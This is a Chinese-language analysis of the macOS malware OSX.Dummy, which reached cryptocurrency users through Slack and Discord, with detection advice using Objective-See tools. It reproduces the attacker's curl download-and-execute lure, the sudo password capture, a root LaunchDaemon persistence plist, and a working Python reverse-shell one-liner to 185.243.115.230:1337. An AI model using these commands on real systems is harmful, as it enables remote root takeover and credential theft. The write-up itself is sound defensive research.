导语:被研究者称为OSX.Dummy的恶意软件,使用了一种简单的感染方法,使那些成功受到攻击的人打开系统直到远程执行代码。本文中将带大家深入了解此恶意软件,并说明Objective-See的工具是怎样处理此威胁的。
黑客使用MacOS恶意软件的目标是使用Slack和Discord聊天平台的加密货币投资者。被研究者称为OSX.Dummy的恶意软件,使用了一种简单的感染方法,可以让恶意攻击者打开系统并远程执行代码。
研究人员Remco Verhoef最先发现并描述了此恶意软件,并向SANS InfoSec Handlers Diary Blog发布了他的发现,他说,
我们之前已经观察到了多个MacOS恶意软件攻击,通过模仿管理员或关键人员发起与加密相关的Slack或Discord聊天组,分享小片段,导致下载和执行恶意二进制文件。
攻击者诱使用户执行脚本,然后通过cURL下载大量34Mb OSX.Dummy恶意软件。将下载文件保存在macOS / tmp / script目录下,然后执行。Verhoef 说,“这个文件是一个大的mach064二进制文件(34M),在VirusTotal上得分为0/60,”
$ cd / tmp && curl -s curl $ MALICIOUS_URL> script && chmod + x script && ./script
该脚本用于欺骗受害者下载OSX.Dummy。
Wardle指出,使用WhatsYourSign,我们可以看到恶意二进制文件是未签名的,并且恶意软件能够避开macOS Gatekeeper安全软件,目的是防止未签名的软件被下载和执行。
通常这样的二进制文件会被Gatekeeper阻止。但是,如果用户通过终端命令直接下载并运行二进制文件,Gatekeeper就不会发挥作用,因此我认为内置的macOS恶意软件缓解不应该被当作万能药。不幸的是,这个二进制文件仍然是100%未检测到的(0/60)VirusTotal上的所有AV引擎:
如果我们在Hopper中打开二进制文件,它的大小的就很明显了。如OpenSSL和V8等各种库都是静态编译的:
当执行恶意软件二进制文件时,macOS sudo命令(通过终端)将恶意软件的权限更改为root。
# procInfo monitoring for process events... process start: pid: 432 path: /usr/bin/sudo args: ( "/usr/bin/sudo", "-S", "-p", "#node-sudo-passwd#", chown, root, "/tmp/script.sh" )
当恶意软件执行sudo并将文件的权限更改为root时,这就要求用户在终端上输入他们的密码,而这将被恶意软件保存到/tmp/dumpdummy。(根据Apple的说法,“要在Mac上的终端中执行sudo命令,您必须使用具有密码的管理员帐户登录。)
# sudo fs_usage -w -f filesystem open /tmp/dumpdummy script.5354 pwrite F=19 script.5354 close F=19 script.5354 # cat /tmp/dumpdummy hunter2
然后恶意软件将脚本设置为可执行chmod +x:
# procInfo monitoring for process events... process start: path: /usr/bin/sudo user: 501 args: ( "/usr/bin/sudo", "-S", "-p", "#node-sudo-passwd#", chmod, "+x", "/tmp/script.sh" )
在此之后,恶意软件继续:
· 将脚本移动到 /var/root
mv "/tmp/script.sh" "/var/root/"
· 将plist文件转储/tmp/com.startup.plist到LaunchDaemons目录然后移动到目录中
mv "/tmp/com.startup.plist" "/Library/LaunchDaemons/
· 将com.startup.plistplist 的所有者设置为root
chown root "/Library/LaunchDaemons/com.startup.plist"
· 启动com.startup.plist启动守护程序
launchctl load "-w" "/Library/LaunchDaemons/com.startup.plist"
此时恶意软件一直存在恶意启动守护程序。BlockBlock会注意到这一点,它会检测并警告此持久性尝试:
如BlocKBlock警报中所述,启动守护程序plist的路径为/Library/LaunchDaemons/com.startup.plist。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.startup</string> <key>Program</key> <string>/var/root/script.sh</string> <key>RunAtLoad</key> <true/> </dict> </plist>
当RunAtLoad密钥设置为密钥true的值时,只要系统重新启动,操作系统就会自动执行该Program密钥/var/root/script.sh。
我们来看看script.sh文件:
#!/bin/bash while : do python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' sleep 5 done
这是一个python脚本。正如Remco Verhoef(@remco_verhoef)在他的写作中所指出的,这将尝试连接到185.243.115.230端口1337。
然后,它复制stdin,stdout并stderr到插座,执行前/bin/sh与-i标志。换句话说,它正在设置一个交互式反向shell。
如果您安装了防火墙产品,例如Objective-See的LuLu,则会检测到此网络活动:
Digita Security首席研究官Patrick Wardle 在周五的博客文章中写道,如果与攻击者的C&C服务器(185.243.115.230:1337)的连接成功,攻击者将能够在受感染的系统上任意执行命令(以root身份)。
最后,如果要检查您是否被感染,请以root身份运行KnockKnock(因为恶意软件集的组件只能由root读取)。查找com.startup.plist执行名为'script.sh' 的未签名启动项:
还可以查找以root身份运行的python运行实例,并使用上述反向shell命令:
$ ps aux | grep -i python root python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
之所以被称为恶意软件OSX.Dummy,因为用于转储受害者密码的其中一个目录称为“/ tmp / dumpdummy”。Wardle就此还分享了一个很有趣的原因:
“我把它称为OSX.Dummy,因为:其感染方法、二进制文件的大规模大小、持久性机制都是非常蹩脚的,它的功能也相当有限,所以,我将恶意软件将用户的密码保存为dumpdummy。